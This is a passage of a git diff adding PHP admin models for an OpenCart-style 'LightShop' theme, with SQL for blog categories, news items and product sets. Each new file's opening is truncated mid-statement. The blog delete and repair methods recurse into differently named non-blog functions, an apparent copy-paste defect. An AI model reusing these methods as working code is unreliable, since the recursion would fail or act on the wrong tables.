+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE path_id = '" . (int)$category_id . "' ORDER BY level ASC");
+
+ if ($query->rows) {
+ foreach ($query->rows as $category_path) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' AND level < '" . (int)$category_path['level'] . "'");
+
+ $path = array();
+
+ // Get the nodes new parents
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Get whats left of the nodes current path
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Combine the paths with a new level
+ $level = 0;
+
+ foreach ($path as $path_id) {
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category_path['category_id'] . "', `path_id` = '" . (int)$path_id . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+ }
+ } else {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category_id . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', level = '" . (int)$level . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['lightshopcatblog_store'])) {
+ foreach ($data['lightshopcatblog_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshopcat_blog_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ // SEO URL
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'lightshopcatblog_id=" . (int)$category_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('category');
+ }
+
+ public function deleteCategoryBlog($category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_path WHERE category_id = '" . (int)$category_id . "'");
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_path WHERE path_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $this->deleteCategory($result['category_id']);
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_description WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_filter WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_store WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_blog_to_category WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ $this->cache->delete('category');
+ }
+
+ public function repairCategoriesBlog($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog WHERE parent_id = '" . (int)$parent_id . "'");
+
+ foreach ($query->rows as $category) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$category['category_id'] . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "lightshopcat_blog_path` WHERE category_id = '" . (int)$parent_id . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "lightshopcat_blog_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$category['category_id'] . "', level = '" . (int)$level . "'");
+
+ $this->repairCategories($category['category_id']);
+ }
+ }
+
+ public function getCategorySeoUrls($category_id) {
+ $category_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'lightshopcatblog_id=" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $category_seo_url_data;
+ }
+
+ public function getCategoryBlog($category_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT GROUP_CONCAT(cd1.name ORDER BY level SEPARATOR ' > ') FROM " . DB_PREFIX . "lightshopcat_blog_path cp LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd1 ON (cp.path_id = cd1.category_id AND cp.category_id != cp.path_id) WHERE cp.category_id = c.category_id AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' GROUP BY cp.category_id) AS path FROM " . DB_PREFIX . "lightshopcat_blog c LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd2 ON (c.category_id = cd2.category_id) WHERE c.category_id = '" . (int)$category_id . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCategoriesBlogByParentId($parent_id = 0) {
+ $query = $this->db->query("SELECT *, (SELECT COUNT(parent_id) FROM " . DB_PREFIX . "lightshopcat_blog WHERE parent_id = c.category_id) AS children FROM " . DB_PREFIX . "lightshopcat_blog c LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd ON (c.category_id = cd.category_id) WHERE c.parent_id = '" . (int)$parent_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY c.sort_order, cd.name");
+
+ return $query->rows;
+ }
+
+ public function getCategoriesBlog($data = array()) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order, c1.status,(select count(product_id) as product_count from " . DB_PREFIX . "product_to_category pc where pc.category_id = c1.category_id) as product_count FROM " . DB_PREFIX . "lightshopcat_blog_path cp LEFT JOIN " . DB_PREFIX . "lightshopcat_blog c1 ON (cp.category_id = c1.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog c2 ON (cp.path_id = c2.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd1 ON (cp.path_id = cd1.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd2 ON (cp.category_id = cd2.category_id) WHERE cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " GROUP BY cp.category_id";
+
+ $sort_data = array(
+ 'product_count',
+ 'name',
+ 'sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCategoryBlogDescriptions($category_id) {
+ $category_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+
+ return $category_description_data;
+ }
+
+ public function getCategoryBlogPath($category_id) {
+ $query = $this->db->query("SELECT category_id, path_id, level FROM " . DB_PREFIX . "lightshopcat_blog_path WHERE category_id = '" . (int)$category_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getCategoryBlogFilters($category_id) {
+ $category_filter_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_filter_data[] = $result['filter_id'];
+ }
+
+ return $category_filter_data;
+ }
+
+ public function getCategoryBlogStores($category_id) {
+ $category_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_store_data[] = $result['store_id'];
+ }
+
+ return $category_store_data;
+ }
+
+ public function getCategoryBlogLayouts($category_id) {
+ $category_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $category_layout_data;
+ }
+
+ public function getTotalCategoriesBlog() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshopcat_blog");
+
+ return $query->row['total'];
+ }
+
+ public function getAllCategoriesBlog() {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshopcat_blog c LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_description cd ON (c.category_id = cd.category_id) LEFT JOIN " . DB_PREFIX . "lightshopcat_blog_to_store c2s ON (c.category_id = c2s.category_id) WHERE cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "' ORDER BY c.parent_id, c.sort_order, cd.name");
+
+ $category_data = array();
+ foreach ($query->rows as $row) {
+ $category_data[$row['parent_id']][$row['category_id']] = $row;
+ }
+
+ return $category_data;
+ }
+
+ public function getTotalCategoriesBlogByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshopcat_blog_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/extension/theme/lightshopnews.php b/public/admin/model/extension/theme/lightshopnews.php
new file mode 100644
index 0000000..193eed2
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopnews.php
@@ -0,0 +1,298 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_news SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+ }else{
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+ }
+ $news_id = $this->db->getLastId();
+
+ foreach ($data['news_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_description SET news_id = '" . (int)$news_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['news_store'])) {
+ foreach ($data['news_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_store SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_related SET news_id = '" . (int)$news_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['news_layout'])) {
+ foreach ($data['news_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_layout SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['news_seo_url'])) {
+ foreach ($data['news_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'news_id=" . (int)$news_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('news');
+
+ return $news_id;
+ }
+
+ public function editNews($news_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_news SET sort_order = 0, bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "' WHERE news_id = '" . (int)$news_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_description WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($data['news_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_description SET news_id = '" . (int)$news_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_store WHERE news_id = '" . (int)$news_id . "'");
+
+ if (isset($data['news_store'])) {
+ foreach ($data['news_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_store SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE news_id = '" . (int)$news_id . "'");
+
+ if (isset($data['news_layout'])) {
+ foreach ($data['news_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_to_layout SET news_id = '" . (int)$news_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_news_related SET news_id = '" . (int)$news_id . "', related_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "'");
+
+ if (isset($data['news_seo_url'])) {
+ foreach ($data['news_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (trim($keyword)) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "seo_url` SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'news_id=" . (int)$news_id . "', keyword = '" . $this->db->escape($keyword) . "'");
+ }
+ }
+ }
+ }
+
+ $this->cache->delete('news');
+ }
+
+ public function deleteNews($news_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_description WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_store WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_news_related WHERE related_id = '" . (int)$news_id . "'");
+
+ $this->cache->delete('news');
+ }
+
+ public function getNews($news_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT keyword FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "' LIMIT 1) AS keyword FROM " . DB_PREFIX . "lightshop_news WHERE news_id = '" . (int)$news_id . "'");
+
+ return $query->row;
+ }
+
+ public function getNewsSeoUrls($news_id) {
+ $news_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'news_id=" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $news_seo_url_data;
+ }
+
+ public function getNewss($data = array()) {
+
+ $this->createTable();
+
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "lightshop_news i LEFT JOIN " . DB_PREFIX . "lightshop_news_description id ON (i.news_id = id.news_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'id.title',
+ 'i.sort_order',
+ 'i.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY i.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $news_data = $this->cache->get('news.' . (int)$this->config->get('config_language_id'));
+
+ if (!$news_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news i LEFT JOIN " . DB_PREFIX . "lightshop_news_description id ON (i.news_id = id.news_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $news_data = $query->rows;
+
+ $this->cache->set('news.' . (int)$this->config->get('config_language_id'), $news_data);
+ }
+
+ return $news_data;
+ }
+ }
+
+ public function getNewsDescriptions($news_id) {
+ $news_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_description WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $news_description_data;
+ }
+
+ public function getNewsStores($news_id) {
+ $news_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_to_store WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_store_data[] = $result['store_id'];
+ }
+
+ return $news_store_data;
+ }
+
+ public function getNewsLayouts($news_id) {
+ $news_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $news_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $news_layout_data;
+ }
+
+ public function getTotalNewss() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_news");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalNewssByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getProductRelated($news_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function createTable() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news (
+ `news_id` int(11) NOT NULL AUTO_INCREMENT,
+ `bottom` int(1) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ `status` tinyint(1) NOT NULL DEFAULT '1',
+ `date_added` date NOT NULL,
+ PRIMARY KEY (`news_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_description (
+ `news_id` int(11) NOT NULL,
+ `language_id` int(11) NOT NULL,
+ `title` varchar(200) NOT NULL,
+ `description` text NOT NULL,
+ `meta_title` varchar(255) NOT NULL,
+ `meta_h1` varchar(255) NOT NULL,
+ `meta_description` varchar(255) NOT NULL,
+ `meta_keyword` varchar(255) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_to_layout (
+ `news_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ `layout_id` int(11) NOT NULL,
+ PRIMARY KEY (`news_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_to_store (
+ `news_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ PRIMARY KEY (`news_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_related (
+ `news_id` int(11) NOT NULL,
+ `related_id` int(11) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ }
+
+}
diff --git a/public/admin/model/extension/theme/lightshopsets.php b/public/admin/model/extension/theme/lightshopsets.php
new file mode 100644
index 0000000..da502d5
--- /dev/null
+++ b/public/admin/model/extension/theme/lightshopsets.php
@@ -0,0 +1,277 @@
+db->query("INSERT INTO " . DB_PREFIX . "lightshop_set SET sort_order = 0, mode = '" . (isset($data['mode']) ? (int)$data['mode'] : 0) . "', discount = '" . (isset($data['discount']) ? (int)$data['discount'] : 0) . "', status = '" . (int)$data['status'] . "', date_added = NOW()");
+
+ $set_id = $this->db->getLastId();
+
+ foreach ($data['set_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_description SET set_id = '" . (int)$set_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "'");
+ }
+
+ if (isset($data['set_store'])) {
+ foreach ($data['set_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_to_store SET set_id = '" . (int)$set_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['product'])) {
+ foreach ($data['product'] as $key => $rowProducts) {
+ if(!isset($rowProducts['items'])){ continue; }
+ foreach ($rowProducts['items'] as $product) {
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_product_to_set SET set_id = '" . (int)$set_id . "', row_id = '" . (int)$key . "', product_id = '" . (int)$product['id'] . "', quantity = '" . (int)$rowProducts['qty'] . "', sort_order = " . (int)$rowProducts['sort_order'] . "");
+ }
+ }
+
+ }
+
+
+ $this->cache->delete('set');
+
+ return $set_id;
+ }
+
+ public function editSet($set_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "lightshop_set SET mode = '" . (isset($data['mode']) ? (int)$data['mode'] : 0) . "', discount = '" . (isset($data['discount']) ? (int)$data['discount'] : 0) . "', status = '" . (int)$data['status'] . "' WHERE set_id = '" . (int)$set_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_description WHERE set_id = '" . (int)$set_id . "'");
+
+ foreach ($data['set_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_description SET set_id = '" . (int)$set_id . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($value['title']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_to_store WHERE set_id = '" . (int)$set_id . "'");
+
+ if (isset($data['set_store'])) {
+ foreach ($data['set_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_set_to_store SET set_id = '" . (int)$set_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_product_to_set WHERE set_id = '" . (int)$set_id . "'");
+
+
+ if (isset($data['product'])) {
+ foreach ($data['product'] as $key => $rowProducts) {
+ if(!isset($rowProducts['items'])){ continue; }
+ foreach ($rowProducts['items'] as $product) {
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "lightshop_product_to_set SET set_id = '" . (int)$set_id . "', row_id = '" . (int)$key . "', product_id = '" . (int)$product['id'] . "', quantity = '" . (int)$rowProducts['qty'] . "', sort_order = " . (int)$rowProducts['sort_order'] . "");
+ }
+ }
+
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'set_id=" . (int)$set_id . "'");
+
+
+ $this->cache->delete('set');
+ }
+
+ public function deleteSet($set_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set WHERE set_id = '" . (int)$set_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "lightshop_set_description WHERE set_id = '" . (int)$set_id . "'");
